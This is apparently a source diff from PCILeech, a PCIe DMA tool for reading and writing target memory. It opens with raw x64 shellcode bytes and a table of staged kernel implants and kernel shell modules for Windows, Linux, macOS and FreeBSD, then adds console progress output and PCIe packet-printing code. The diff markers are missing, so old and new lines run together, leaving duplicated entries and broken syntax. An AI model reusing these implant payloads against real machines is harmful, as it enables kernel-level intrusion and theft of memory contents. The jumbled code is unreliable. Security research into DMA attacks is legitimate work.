0x00, 0x00, 0x49, 0x8b, 0xbf, 0x08, 0x02, 0x00, 0x00, 0x41, 0xb9, 0x40,
|
||||
0x02, 0x00, 0x00, 0x49, 0x03, 0x7f, 0x28, 0x45, 0x33, 0xc0, 0x49, 0x8b,
|
||||
0x8f, 0x48, 0x03, 0x00, 0x00, 0x49, 0x03, 0xfc, 0x48, 0x8b, 0xd7, 0xe8,
|
||||
0xb5, 0xfa, 0xff, 0xff, 0x41, 0x8b, 0x06, 0x49, 0x8b, 0xd6, 0x4c, 0x03,
|
||||
0xf0, 0x4c, 0x8d, 0x4a, 0x04, 0x48, 0x83, 0xc2, 0x18, 0x41, 0x8b, 0x01,
|
||||
0xa8, 0x01, 0x74, 0x39, 0x4c, 0x8b, 0xda, 0x48, 0x83, 0xc2, 0x08, 0x41,
|
||||
0x8b, 0x4b, 0x04, 0x48, 0x3b, 0xce, 0x48, 0x0f, 0x47, 0xce, 0x45, 0x33,
|
||||
0xc0, 0x48, 0x85, 0xc9, 0x74, 0x1f, 0x4c, 0x8d, 0x57, 0x38, 0x41, 0x8b,
|
||||
0x03, 0x49, 0x03, 0xc0, 0x49, 0xff, 0xc0, 0x42, 0x0f, 0xb6, 0x04, 0x18,
|
||||
0x66, 0x41, 0x89, 0x02, 0x4d, 0x8d, 0x52, 0x02, 0x4c, 0x3b, 0xc1, 0x72,
|
||||
0xe5, 0x41, 0x8b, 0x01, 0xa8, 0x08, 0x74, 0x2b, 0x8b, 0x02, 0x48, 0x83,
|
||||
0xc2, 0x04, 0x83, 0xf8, 0x01, 0x75, 0x06, 0x48, 0x83, 0x0f, 0x01, 0xeb,
|
||||
0x1a, 0x83, 0xf8, 0x02, 0x75, 0x06, 0x48, 0x83, 0x0f, 0x02, 0xeb, 0x0f,
|
||||
0x83, 0xf8, 0x05, 0x75, 0x06, 0x48, 0x83, 0x0f, 0x04, 0xeb, 0x04, 0x48,
|
||||
0x83, 0x0f, 0x08, 0x41, 0xf7, 0x01, 0x00, 0x02, 0x00, 0x00, 0x74, 0x15,
|
||||
0x48, 0x8b, 0x0a, 0x48, 0x83, 0xc2, 0x10, 0x49, 0x03, 0xcd, 0x48, 0x69,
|
||||
0xc1, 0x80, 0x96, 0x98, 0x00, 0x48, 0x89, 0x47, 0x18, 0x41, 0xf7, 0x01,
|
||||
0x00, 0x04, 0x00, 0x00, 0x74, 0x15, 0x48, 0x8b, 0x0a, 0x48, 0x83, 0xc2,
|
||||
0x10, 0x49, 0x03, 0xcd, 0x48, 0x69, 0xc1, 0x80, 0x96, 0x98, 0x00, 0x48,
|
||||
0x89, 0x47, 0x10, 0x41, 0xf7, 0x01, 0x00, 0x10, 0x00, 0x00, 0x74, 0x15,
|
||||
0x48, 0x8b, 0x0a, 0x48, 0x83, 0xc2, 0x10, 0x49, 0x03, 0xcd, 0x48, 0x69,
|
||||
0xc1, 0x80, 0x96, 0x98, 0x00, 0x48, 0x89, 0x47, 0x08, 0x41, 0x8b, 0x41,
|
||||
0x0c, 0xa8, 0x02, 0x74, 0x07, 0x48, 0x8b, 0x02, 0x48, 0x89, 0x47, 0x30,
|
||||
0x8b, 0x85, 0xf0, 0x01, 0x00, 0x00, 0x48, 0xff, 0xc3, 0x49, 0x81, 0xc4,
|
||||
0x40, 0x02, 0x00, 0x00, 0x48, 0x3b, 0xd8, 0x0f, 0x82, 0xd5, 0xfe, 0xff,
|
||||
0xff, 0x8b, 0x9d, 0x08, 0x02, 0x00, 0x00, 0x48, 0x8b, 0x74, 0x24, 0x58,
|
||||
0x4c, 0x8b, 0xb5, 0xf8, 0x01, 0x00, 0x00, 0x4c, 0x8b, 0x6c, 0x24, 0x68,
|
||||
0x4c, 0x8b, 0x65, 0x80, 0x49, 0x8b, 0x4e, 0x60, 0x49, 0x8b, 0xd5, 0xe8,
|
||||
0x89, 0xf9, 0xff, 0xff, 0x8b, 0x85, 0xf0, 0x01, 0x00, 0x00, 0x41, 0xb9,
|
||||
0x00, 0x00, 0x01, 0x00, 0x49, 0x8b, 0x8f, 0x08, 0x02, 0x00, 0x00, 0x48,
|
||||
0x03, 0xf0, 0x49, 0x03, 0x4f, 0x28, 0x45, 0x33, 0xc0, 0x49, 0x8b, 0xbf,
|
||||
0x10, 0x02, 0x00, 0x00, 0x83, 0xa5, 0xf0, 0x01, 0x00, 0x00, 0x00, 0x48,
|
||||
0x81, 0xc7, 0x00, 0x00, 0xff, 0xff, 0x48, 0x03, 0xf9, 0x48, 0x89, 0x74,
|
||||
0x24, 0x58, 0x49, 0x8b, 0x8f, 0x48, 0x03, 0x00, 0x00, 0x48, 0x8b, 0xd7,
|
||||
0x48, 0x89, 0x7c, 0x24, 0x60, 0xe8, 0x3b, 0xf9, 0xff, 0xff, 0x48, 0x83,
|
||||
0x64, 0x24, 0x20, 0x00, 0x4c, 0x8b, 0xc6, 0x49, 0x8b, 0x4e, 0x58, 0x41,
|
||||
0xb9, 0x02, 0x00, 0x00, 0x00, 0x41, 0x8d, 0x51, 0xff, 0xe8, 0x1f, 0xf9,
|
||||
0xff, 0xff, 0x49, 0x8b, 0x4e, 0x40, 0x41, 0xb9, 0x00, 0x00, 0x01, 0x00,
|
||||
0x4c, 0x8b, 0xc7, 0x48, 0x89, 0x44, 0x24, 0x68, 0x48, 0x8b, 0xd0, 0x4c,
|
||||
0x8b, 0xe8, 0xe8, 0x02, 0xf9, 0xff, 0xff, 0x45, 0x33, 0xc0, 0x48, 0x85,
|
||||
0xc0, 0x0f, 0x84, 0x76, 0xfd, 0xff, 0xff, 0xbb, 0x02, 0x00, 0x00, 0xf0,
|
||||
0x4d, 0x85, 0xed, 0x74, 0x0f, 0x49, 0x8b, 0x4e, 0x60, 0x49, 0x8b, 0xd5,
|
||||
0xe8, 0xe0, 0xf8, 0xff, 0xff, 0x45, 0x33, 0xc0, 0x48, 0x8b, 0x54, 0x24,
|
||||
0x50, 0x48, 0x85, 0xd2, 0x74, 0x0c, 0x49, 0x8b, 0x4e, 0x08, 0xe8, 0xca,
|
||||
0xf8, 0xff, 0xff, 0x45, 0x33, 0xc0, 0x48, 0x85, 0xf6, 0x41, 0x0f, 0x45,
|
||||
0xd8, 0x8b, 0xc3, 0x48, 0x8b, 0x9c, 0x24, 0x00, 0x03, 0x00, 0x00, 0x48,
|
||||
0x81, 0xc4, 0xb0, 0x02, 0x00, 0x00, 0x41, 0x5f, 0x41, 0x5e, 0x41, 0x5d,
|
||||
0x41, 0x5c, 0x5f, 0x5e, 0x5d, 0xc3, 0x48, 0x8d, 0x04, 0xf6, 0x48, 0xc1,
|
||||
0xe0, 0x06, 0x49, 0x89, 0x87, 0x00, 0x02, 0x00, 0x00, 0xeb, 0xa1, 0xcc,
|
||||
0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x6c, 0x24, 0x18, 0x56, 0x57,
|
||||
0x41, 0x56, 0x48, 0x83, 0xec, 0x30, 0x48, 0x8b, 0xe9, 0x33, 0xdb, 0x48,
|
||||
0x8b, 0x4a, 0x50, 0x49, 0x8b, 0xf0, 0x48, 0x21, 0x5c, 0x24, 0x58, 0x48,
|
||||
0x8b, 0xfa, 0xe8, 0x66, 0xf8, 0xff, 0xff, 0x48, 0x8b, 0x0f, 0x48, 0x8d,
|
||||
0x56, 0x18, 0x4c, 0x8d, 0x4c, 0x24, 0x58, 0x48, 0x89, 0x44, 0x24, 0x20,
|
||||
0x45, 0x33, 0xc0, 0x4c, 0x8b, 0xf0, 0xe8, 0x4a, 0xf8, 0xff, 0xff, 0x48,
|
||||
0x85, 0xc0, 0x74, 0x0a, 0xbb, 0x02, 0x00, 0x00, 0xf0, 0xe9, 0x98, 0x00,
|
||||
0x00, 0x00, 0x4c, 0x8b, 0x86, 0x28, 0x03, 0x00, 0x00, 0x41, 0xb9, 0x02,
|
||||
0x00, 0x00, 0x00, 0x48, 0x8b, 0x4f, 0x58, 0x48, 0x21, 0x5c, 0x24, 0x20,
|
||||
0x41, 0x8d, 0x51, 0xff, 0xe8, 0x1c, 0xf8, 0xff, 0xff, 0x4c, 0x8b, 0x85,
|
||||
0x08, 0x02, 0x00, 0x00, 0x48, 0x8b, 0xd0, 0x4c, 0x03, 0x45, 0x28, 0x48,
|
||||
0x8b, 0xf0, 0x4c, 0x8b, 0x8d, 0x10, 0x02, 0x00, 0x00, 0x48, 0x8b, 0x4f,
|
||||
0x40, 0xe8, 0xfb, 0xf7, 0xff, 0xff, 0x48, 0x85, 0xc0, 0x74, 0x07, 0xbb,
|
||||
0x02, 0x00, 0x00, 0xf0, 0xeb, 0x3b, 0x48, 0x8b, 0x54, 0x24, 0x58, 0x45,
|
||||
0x33, 0xc9, 0x48, 0x8b, 0x4f, 0x28, 0x4c, 0x8b, 0xc6, 0x4c, 0x89, 0x74,
|
||||
0x24, 0x20, 0xe8, 0xd6, 0xf7, 0xff, 0xff, 0x48, 0x85, 0xc0, 0x75, 0xdb,
|
||||
0x48, 0x8b, 0x4f, 0x48, 0x48, 0x8b, 0xd6, 0xe8, 0xc5, 0xf7, 0xff, 0xff,
|
||||
0x48, 0x8b, 0x8d, 0x10, 0x02, 0x00, 0x00, 0x48, 0x2b, 0xc8, 0x48, 0x89,
|
||||
0x8d, 0x00, 0x02, 0x00, 0x00, 0x48, 0x85, 0xf6, 0x74, 0x0c, 0x48, 0x8b,
|
||||
0x4f, 0x60, 0x48, 0x8b, 0xd6, 0xe8, 0xa3, 0xf7, 0xff, 0xff, 0x48, 0x8b,
|
||||
0x54, 0x24, 0x58, 0x48, 0x85, 0xd2, 0x74, 0x09, 0x48, 0x8b, 0x4f, 0x08,
|
||||
0xe8, 0x90, 0xf7, 0xff, 0xff, 0x48, 0x8b, 0x6c, 0x24, 0x60, 0x8b, 0xc3,
|
||||
0x48, 0x8b, 0x5c, 0x24, 0x50, 0x48, 0x83, 0xc4, 0x30, 0x41, 0x5e, 0x5f,
|
||||
0x5e, 0xc3, 0xcc, 0xcc, 0x48, 0x8b, 0xc4, 0x48, 0x89, 0x58, 0x08, 0x48,
|
||||
0x89, 0x68, 0x18, 0x48, 0x89, 0x70, 0x20, 0x57, 0x41, 0x56, 0x41, 0x57,
|
||||
0x48, 0x83, 0xec, 0x40, 0x48, 0x8b, 0x4a, 0x50, 0x33, 0xdb, 0x48, 0x21,
|
||||
0x58, 0x10, 0x49, 0x8b, 0xe8, 0x49, 0x8b, 0x40, 0x10, 0x48, 0x8b, 0xfa,
|
||||
0x4c, 0x8b, 0xf8, 0x48, 0xc1, 0xe8, 0x04, 0x49, 0xc1, 0xe7, 0x04, 0x83,
|
||||
0xe0, 0x08, 0x41, 0x81, 0xe7, 0x00, 0x04, 0x00, 0x00, 0x4c, 0x0b, 0xf8,
|
||||
0x49, 0x83, 0xcf, 0x01, 0xe8, 0x2c, 0xf7, 0xff, 0xff, 0x48, 0x8b, 0x4f,
|
||||
0x18, 0x48, 0x8d, 0x55, 0x18, 0x48, 0x89, 0x44, 0x24, 0x30, 0x4c, 0x8b,
|
||||
0xf0, 0x48, 0x8d, 0x44, 0x24, 0x68, 0x45, 0x33, 0xc9, 0x48, 0x89, 0x44,
|
||||
0x24, 0x28, 0x4d, 0x8b, 0xc7, 0x48, 0x21, 0x5c, 0x24, 0x20, 0xe8, 0x02,
|
||||
0xf7, 0xff, 0xff, 0x48, 0x85, 0xc0, 0x74, 0x0a, 0xbb, 0x02, 0x00, 0x00,
|
||||
0xf0, 0xe9, 0xa5, 0x00, 0x00, 0x00, 0x4c, 0x8b, 0x85, 0x28, 0x03, 0x00,
|
||||
0x00, 0x41, 0xb9, 0x02, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x4f, 0x58, 0xc7,
|
||||
0x44, 0x24, 0x20, 0x01, 0x00, 0x00, 0x00, 0x41, 0x8d, 0x51, 0xff, 0xe8,
|
||||
0xd1, 0xf6, 0xff, 0xff, 0x4c, 0x8b, 0x8d, 0x30, 0x03, 0x00, 0x00, 0x4c,
|
||||
0x8d, 0x85, 0x38, 0x03, 0x00, 0x00, 0x48, 0x8b, 0x4f, 0x40, 0x48, 0x8b,
|
||||
0xd0, 0x48, 0x8b, 0xf0, 0xe8, 0xb4, 0xf6, 0xff, 0xff, 0x48, 0x85, 0xc0,
|
||||
0x74, 0x07, 0xbb, 0x02, 0x00, 0x00, 0xf0, 0xeb, 0x49, 0x48, 0x8b, 0x54,
|
||||
0x24, 0x68, 0x45, 0x33, 0xc9, 0x48, 0x8b, 0x4f, 0x30, 0x4c, 0x8b, 0xc6,
|
||||
0x4c, 0x89, 0x74, 0x24, 0x20, 0xe8, 0x8f, 0xf6, 0xff, 0xff, 0x48, 0x85,
|
||||
0xc0, 0x75, 0xdb, 0x49, 0x0f, 0xba, 0xe7, 0x0a, 0x73, 0x24, 0x4c, 0x8b,
|
||||
0x85, 0x28, 0x03, 0x00, 0x00, 0x45, 0x33, 0xc9, 0x4c, 0x03, 0x85, 0x30,
|
||||
0x03, 0x00, 0x00, 0x48, 0x8b, 0x54, 0x24, 0x68, 0x48, 0x8b, 0x4f, 0x10,
|
||||
0x4c, 0x89, 0x74, 0x24, 0x20, 0xe8, 0x5f, 0xf6, 0xff, 0xff, 0x48, 0x85,
|
||||
0xf6, 0x74, 0x0c, 0x48, 0x8b, 0x4f, 0x60, 0x48, 0x8b, 0xd6, 0xe8, 0x4e,
|
||||
0xf6, 0xff, 0xff, 0x48, 0x8b, 0x54, 0x24, 0x68, 0x48, 0x85, 0xd2, 0x74,
|
||||
0x12, 0x48, 0x8b, 0x4f, 0x20, 0x4d, 0x8b, 0xce, 0x41, 0xb8, 0x00, 0x00,
|
||||
0x01, 0x00, 0xe8, 0x32, 0xf6, 0xff, 0xff, 0x48, 0x8b, 0x6c, 0x24, 0x70,
|
||||
0x8b, 0xc3, 0x48, 0x8b, 0x5c, 0x24, 0x60, 0x48, 0x8b, 0x74, 0x24, 0x78,
|
||||
0x48, 0x83, 0xc4, 0x40, 0x41, 0x5f, 0x41, 0x5e, 0x5f, 0xc3, 0xcc, 0xcc,
|
||||
0x40, 0x53, 0x48, 0x81, 0xec, 0x90, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x54,
|
||||
0x24, 0x20, 0x48, 0x8b, 0xd9, 0xe8, 0x6e, 0xf6, 0xff, 0xff, 0x85, 0xc0,
|
||||
0x75, 0x0a, 0xb8, 0x01, 0x00, 0x00, 0xf0, 0xe9, 0x9a, 0x00, 0x00, 0x00,
|
||||
0x4c, 0x8b, 0x83, 0x08, 0x01, 0x00, 0x00, 0x4c, 0x03, 0x43, 0x28, 0x48,
|
||||
0x81, 0xbb, 0x00, 0x01, 0x00, 0x00, 0x38, 0x03, 0x00, 0x00, 0x72, 0x7d,
|
||||
0x48, 0xb8, 0x0f, 0x13, 0xaa, 0x93, 0xad, 0x20, 0xe7, 0x79, 0x49, 0x39,
|
||||
0x00, 0x75, 0x6e, 0x41, 0xf6, 0x40, 0x10, 0x10, 0x75, 0x67, 0x49, 0x8b,
|
||||
0x40, 0x08, 0x48, 0x83, 0xf8, 0x01, 0x75, 0x11, 0x48, 0x8d, 0x54, 0x24,
|
||||
0x20, 0x48, 0x8b, 0xcb, 0xe8, 0xfb, 0xf8, 0xff, 0xff, 0x8b, 0xc0, 0xeb,
|
||||
0x51, 0x48, 0x83, 0xf8, 0x03, 0x75, 0x0f, 0x48, 0x8d, 0x54, 0x24, 0x20,
|
||||
0x48, 0x8b, 0xcb, 0xe8, 0x04, 0xfd, 0xff, 0xff, 0xeb, 0xe7, 0x48, 0x83,
|
||||
0xf8, 0x02, 0x75, 0x0f, 0x48, 0x8d, 0x54, 0x24, 0x20, 0x48, 0x8b, 0xcb,
|
||||
0xe8, 0x07, 0xfe, 0xff, 0xff, 0xeb, 0xd2, 0x48, 0x83, 0xf8, 0x04, 0x75,
|
||||
0x0f, 0x48, 0x8d, 0x54, 0x24, 0x20, 0x48, 0x8b, 0xcb, 0xe8, 0x2a, 0xf8,
|
||||
0xff, 0xff, 0xeb, 0xbd, 0x48, 0x83, 0xf8, 0x05, 0x75, 0x13, 0xb8, 0x0b,
|
||||
0x00, 0x00, 0xf0, 0xeb, 0x05, 0xb8, 0x06, 0x00, 0x00, 0xf0, 0x48, 0x89,
|
||||
0x83, 0x20, 0x02, 0x00, 0x00, 0x48, 0x81, 0xc4, 0x90, 0x00, 0x00, 0x00,
|
||||
0x5b, 0xc3, 0x00
|
||||
};
|
||||
|
||||
const SHELLCODE_DEFAULT_STRUCT SHELLCODE_DEFAULT[] = {
|
||||
{.sz = "DEFAULT_WINX64_STAGE1",.pb = (PBYTE)WINX64_STAGE1_BIN,.cb = sizeof(WINX64_STAGE1_BIN)},
|
||||
{.sz = "DEFAULT_WINX64_STAGE2",.pb = (PBYTE)WINX64_STAGE2_BIN,.cb = sizeof(WINX64_STAGE2_BIN)},
|
||||
{.sz = "DEFAULT_WINX64_STAGE3",.pb = (PBYTE)WINX64_STAGE3_BIN,.cb = sizeof(WINX64_STAGE3_BIN)},
|
||||
{.sz = "DEFAULT_WINX64_STAGE2_HAL",.pb = (PBYTE)WINX64_STAGE2_HAL_BIN,.cb = sizeof(WINX64_STAGE2_HAL_BIN)},
|
||||
{.sz = "DEFAULT_WINX64_VFS_KSH",.pb = (PBYTE)WINX64_VFS_KSH,.cb = sizeof(WINX64_VFS_KSH)},
|
||||
{.sz = "DEFAULT_LINUX_X64_STAGE1",.pb = (PBYTE)LINUX_X64_STAGE1_BIN,.cb = sizeof(LINUX_X64_STAGE1_BIN)},
|
||||
{.sz = "DEFAULT_LINUX_X64_STAGE2",.pb = (PBYTE)LINUX_X64_STAGE2_BIN,.cb = sizeof(LINUX_X64_STAGE2_BIN)},
|
||||
{.sz = "DEFAULT_LINUX_X64_STAGE3",.pb = (PBYTE)LINUX_X64_STAGE3_BIN,.cb = sizeof(LINUX_X64_STAGE3_BIN)},
|
||||
{.sz = "DEFAULT_LINUX_X64_STAGE2_EFI",.pb = (PBYTE)LINUX_X64_STAGE2_EFI_BIN,.cb = sizeof(LINUX_X64_STAGE2_EFI_BIN) },
|
||||
{.sz = "DEFAULT_LINUX_X64_STAGE2_EFI",.pb = (PBYTE)LINUX_X64_STAGE2_EFI_BIN,.cb = sizeof(LINUX_X64_STAGE2_EFI_BIN)},
|
||||
{.sz = "DEFAULT_LINUX_X64_VFS_KSH",.pb = (PBYTE)LINUX_X64_VFS_KSH,.cb = sizeof(LINUX_X64_VFS_KSH)},
|
||||
{.sz = "DEFAULT_MACOS_STAGE1",.pb = (PBYTE)MACOS_STAGE1_BIN,.cb = sizeof(MACOS_STAGE1_BIN)},
|
||||
{.sz = "DEFAULT_MACOS_STAGE2",.pb = (PBYTE)MACOS_STAGE2_BIN,.cb = sizeof(MACOS_STAGE2_BIN)},
|
||||
{.sz = "DEFAULT_MACOS_STAGE3",.pb = (PBYTE)MACOS_STAGE3_BIN,.cb = sizeof(MACOS_STAGE3_BIN)},
|
||||
{.sz = "DEFAULT_MACOS_VFS_KSH",.pb = (PBYTE)MACOS_VFS_KSH,.cb = sizeof(MACOS_VFS_KSH)},
|
||||
{.sz = "DEFAULT_FREEBSD_X64_STAGE1",.pb = (PBYTE)FREEBSD_X64_STAGE1_BIN,.cb = sizeof(FREEBSD_X64_STAGE1_BIN)},
|
||||
{.sz = "DEFAULT_FREEBSD_X64_STAGE2",.pb = (PBYTE)FREEBSD_X64_STAGE2_BIN,.cb = sizeof(FREEBSD_X64_STAGE2_BIN)},
|
||||
{.sz = "DEFAULT_FREEBSD_X64_STAGE3",.pb = (PBYTE)FREEBSD_X64_STAGE3_BIN,.cb = sizeof(FREEBSD_X64_STAGE3_BIN)}
|
||||
{.sz = "DEFAULT_FREEBSD_X64_STAGE3",.pb = (PBYTE)FREEBSD_X64_STAGE3_BIN,.cb = sizeof(FREEBSD_X64_STAGE3_BIN)},
|
||||
};
|
||||
|
||||
#endif /* __SHELLCODE_H__ */
|
||||
@@ -7,13 +7,15 @@
|
||||
|
||||
VOID _PageStatShowUpdate(_Inout_ PPAGE_STATISTICS ps)
|
||||
{
|
||||
if(0 == ps->cPageTotal) { return; }
|
||||
QWORD qwPercentTotal = ((ps->cPageSuccess + ps->cPageFail) * 100) / ps->cPageTotal;
|
||||
QWORD qwPercentSuccess = (ps->cPageSuccess * 200 + 1) / (ps->cPageTotal * 2);
|
||||
QWORD qwPercentFail = (ps->cPageFail * 200 + 1) / (ps->cPageTotal * 2);
|
||||
QWORD qwTickCountElapsed = GetTickCount64() - ps->i.qwTickCountStart;
|
||||
QWORD qwSpeedMBs = ((ps->cPageSuccess + ps->cPageFail) * 4 / 1024) / (1 + (qwTickCountElapsed / 1000));
|
||||
QWORD qwSpeed = ((ps->cPageSuccess + ps->cPageFail) * 4) / (1 + (qwTickCountElapsed / 1000));
|
||||
QWORD qwLastUpdateCtrl = ps->qwAddr + ps->cPageSuccess + ps->cPageFail + (QWORD)ps->szAction;
|
||||
CONSOLE_SCREEN_BUFFER_INFO consoleInfo;
|
||||
BOOL isMBs = qwSpeed >= 1024;
|
||||
if(qwLastUpdateCtrl == ps->i.qwLastUpdateCtrl) {
|
||||
return; // only refresh on updates
|
||||
}
|
||||
@@ -22,31 +24,33 @@ VOID _PageStatShowUpdate(_Inout_ PPAGE_STATISTICS ps)
|
||||
GetConsoleScreenBufferInfo(ps->i.hConsole, &consoleInfo);
|
||||
consoleInfo.dwCursorPosition.Y = ps->i.wConsoleCursorPosition;
|
||||
SetConsoleCursorPosition(ps->i.hConsole, consoleInfo.dwCursorPosition);
|
||||
} else {
|
||||
ps->i.hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
|
||||
GetConsoleScreenBufferInfo(ps->i.hConsole, &consoleInfo);
|
||||
ps->i.wConsoleCursorPosition = consoleInfo.dwCursorPosition.Y;
|
||||
}
|
||||
printf(
|
||||
" Current Action: %s \n" \
|
||||
" Access Mode: %s \n" \
|
||||
" Progress: %i / %i (%i%%) \n" \
|
||||
" Speed: %i MB/s \n" \
|
||||
" Progress: %u / %u (%u%%) \n" \
|
||||
" Speed: %u %s \n" \
|
||||
" Address: 0x%016llX \n" \
|
||||
" Pages read: %i / %i (%i%%) \n" \
|
||||
" Pages failed: %i (%i%%) \n",
|
||||
" Pages read: %u / %u (%u%%) \n" \
|
||||
" Pages failed: %u (%u%%) \n",
|
||||
ps->szAction,
|
||||
ps->fKMD ? "KMD (kernel module assisted DMA)" : "DMA (hardware only) ",
|
||||
(ps->cPageSuccess + ps->cPageFail) / 256,
|
||||
ps->cPageTotal / 256,
|
||||
qwPercentTotal,
|
||||
qwSpeedMBs,
|
||||
(isMBs ? qwSpeed >> 10 : qwSpeed),
|
||||
(isMBs ? "MB/s" : "kB/s"),
|
||||
ps->qwAddr,
|
||||
ps->cPageSuccess,
|
||||
ps->cPageTotal,
|
||||
qwPercentSuccess,
|
||||
ps->cPageFail,
|
||||
qwPercentFail);
|
||||
if(!ps->i.hConsole) {
|
||||
ps->i.hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
|
||||
GetConsoleScreenBufferInfo(ps->i.hConsole, &consoleInfo);
|
||||
ps->i.wConsoleCursorPosition = consoleInfo.dwCursorPosition.Y - 7;
|
||||
}
|
||||
}
|
||||
|
||||
VOID _PageStatPrintMemMap(_In_ PPAGE_STATISTICS ps)
|
||||
|
||||
35
pcileech/tlp.c
Normal file
35
pcileech/tlp.c
Normal file
@@ -0,0 +1,35 @@
|
||||
// tlp.c : implementation of PCIe TLP (transaction layer packets) functionality.
|
||||
//
|
||||
// (c) Ulf Frisk, 2017
|
||||
// Author: Ulf Frisk, pcileech@frizk.net
|
||||
//
|
||||
#include "tlp.h"
|
||||
#include "util.h"
|
||||
|
||||
VOID TLP_Print(_In_ PBYTE pbTlp, _In_ DWORD cbTlp, _In_ BOOL isTx)
|
||||
{
|
||||
DWORD i;
|
||||
BYTE pb[0x1000];
|
||||
PDWORD buf = (PDWORD)pb;
|
||||
PTLP_HDR hdr = (PTLP_HDR)pb;
|
||||
PTLP_HDR_CplD hdrC;
|
||||
PTLP_HDR_MRdWr32 hdrM32;
|
||||
PTLP_HDR_MRdWr64 hdrM64;
|
||||
if(cbTlp < 12 || cbTlp > 0x1000 || cbTlp & 0x3) { return; }
|
||||
for(i = 0; i < cbTlp; i += 4) {
|
||||
buf[i] = _byteswap_ulong(*(PDWORD)(pbTlp + i));
|
||||
}
|
||||
printf("%s_TLP: TypeFmt: %02x Length: %03x(%04x)", (isTx ? "TX" : "RX"), hdr->TypeFmt, hdr->Length, (hdr->Length << 2));
|
||||
if(hdr->TypeFmt == TLP_CplD) {
|
||||
hdrC = (PTLP_HDR_CplD)pb;
|
||||
printf("\nCplD: CplID: %04x ReqID: %04x Status: %01x BC: %03x Tag: %02x LowAddr: %02x", hdrC->RequesterID, hdrC->CompleterID, hdrC->Status, hdrC->ByteCount, hdrC->Tag, hdrC->LowerAddress);
|
||||
} else if(hdr->TypeFmt == TLP_MRd32 || hdr->TypeFmt == TLP_MWr32) {
|
||||
hdrM32 = (PTLP_HDR_MRdWr32)pb;
|
||||
printf("\n%s: ReqID: %04x BE1: %01x BEL: %01x Tag: %02x Addr: %08x", (hdr->TypeFmt == TLP_MRd32) ? "MRd32" : "MWr32", hdrM32->RequesterID, hdrM32->FirstBE, hdrM32->LastBE, hdrM32->Tag, hdrM32->Address);
|
||||
} else if(hdr->TypeFmt == TLP_MRd64 || hdr->TypeFmt == TLP_MWr64) {
|
||||
hdrM64 = (PTLP_HDR_MRdWr64)pb;
|
||||
printf("\n%s: ReqID: %04x BE1: %01x BEL: %01x Tag: %02x Addr: %016llx", (hdr->TypeFmt == TLP_MRd32) ? "MRr64" : "MWr64", hdrM64->RequesterID, hdrM64->FirstBE, hdrM64->LastBE, hdrM64->Tag, ((QWORD)hdrM64->AddressHigh << 32) + hdrM64->AddressLow);
|
||||
}
|
||||
printf("\n");
|
||||
Util_PrintHexAscii(pbTlp, cbTlp);
|
||||
}
|
||||
78
pcileech/tlp.h
Normal file
78
pcileech/tlp.h
Normal file
@@ -0,0 +1,78 @@
|
||||
// device605.h : definitions related PCIe TLPs (transaction layper packets).
|
||||
//
|
||||
// (c) Ulf Frisk, 2017
|
||||
// Author: Ulf Frisk, pcileech@frizk.net
|
||||
//
|
||||
#ifndef __TLP_H__
|
||||
#define __TLP_H__
|
||||
#include "pcileech.h"
|
||||
|
||||
#define TLP_MRd32 0x00
|
||||
#define TLP_MRd64 0x20
|
||||
#define TLP_MRdLk32 0x01
|
||||
#define TLP_MRdLk64 0x21
|
||||
#define TLP_MWr32 0x40
|
||||
#define TLP_MWr64 0x60
|
||||
#define TLP_IORd 0x02
|
||||
#define TLP_IOWr 0x42
|
||||
#define TLP_CfgRd0 0x04
|
||||
#define TLP_CfgRd1 0x05
|
||||
#define TLP_CfgWr0 0x44
|
||||
#define TLP_CfgWr1 0x45
|
||||
#define TLP_Cpl 0x0A
|
||||
#define TLP_CplD 0x4A
|
||||
#define TLP_CplLk 0x0B
|
||||
#define TLP_CplLkD 0x4B
|
||||
|
||||
typedef struct tdTLP_HDR {
|
||||
WORD Length : 10;
|
||||
WORD _AT : 2;
|
||||
WORD _Attr : 2;
|
||||
WORD _EP : 1;
|
||||
WORD _TD : 1;
|
||||
BYTE _R1 : 4;
|
||||
BYTE _TC : 3;
|
||||
BYTE _R2 : 1;
|
||||
BYTE TypeFmt;
|
||||
} TLP_HDR, *PTLP_HDR;
|
||||
|
||||
typedef struct tdTLP_HDR_MRdWr32 {
|
||||
TLP_HDR h;
|
||||
BYTE FirstBE : 4;
|
||||
BYTE LastBE : 4;
|
||||
BYTE Tag;
|
||||
WORD RequesterID;
|
||||
DWORD Address;
|
||||
} TLP_HDR_MRdWr32, *PTLP_HDR_MRdWr32;
|
||||
|
||||
typedef struct tdTLP_HDR_MRdWr64 {
|
||||
TLP_HDR h;
|
||||
BYTE FirstBE : 4;
|
||||
BYTE LastBE : 4;
|
||||
BYTE Tag;
|
||||
WORD RequesterID;
|
||||
DWORD AddressHigh;
|
||||
DWORD AddressLow;
|
||||
} TLP_HDR_MRdWr64, *PTLP_HDR_MRdWr64;
|
||||
|
||||
typedef struct tdTLP_HDR_CplD {
|
||||
TLP_HDR h;
|
||||
WORD ByteCount : 12;
|
||||
WORD _BCM : 1;
|
||||
WORD Status : 3;
|
||||
WORD CompleterID;
|
||||
BYTE LowerAddress : 7;
|
||||
BYTE _R1 : 1;
|
||||
BYTE Tag;
|
||||
WORD RequesterID;
|
||||
} TLP_HDR_CplD, *PTLP_HDR_CplD;
|
||||
|
||||
/*
|
||||
* Print a PCIe TLP packet on the screen in a human readable format.
|
||||
* -- pbTlp = complete TLP packet (header+data)
|
||||
* -- cbTlp = length in bytes of TLP packet.
|
||||
* -- isTx = TRUE = packet is transmited, FALSE = packet is received.
|
||||
*/
|
||||
VOID TLP_Print(_In_ PBYTE pbTlp, _In_ DWORD cbTlp, _In_ BOOL isTx);
|
||||
|
||||
#endif /* __TLP_H__ */
|
||||
133
pcileech/util.c
133
pcileech/util.c
@@ -16,12 +16,12 @@
|
||||
#define PT_MASK_NX 0x8000000000000000
|
||||
#define PT_FLAG_HELPER_X 0x0000000000000001
|
||||
|
||||
BOOL Util_PageTable_Helper(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData, _In_ QWORD qwVA, _In_ QWORD qwPgLvl, _In_ QWORD qwPgTblPA, _In_ QWORD qwTestMask, _In_ QWORD qwTestValue, _In_ QWORD fMode, _Out_ PQWORD pqwPTE, _Out_opt_ PQWORD pqwPTEPA, _Out_ PQWORD pqwPgLvl)
|
||||
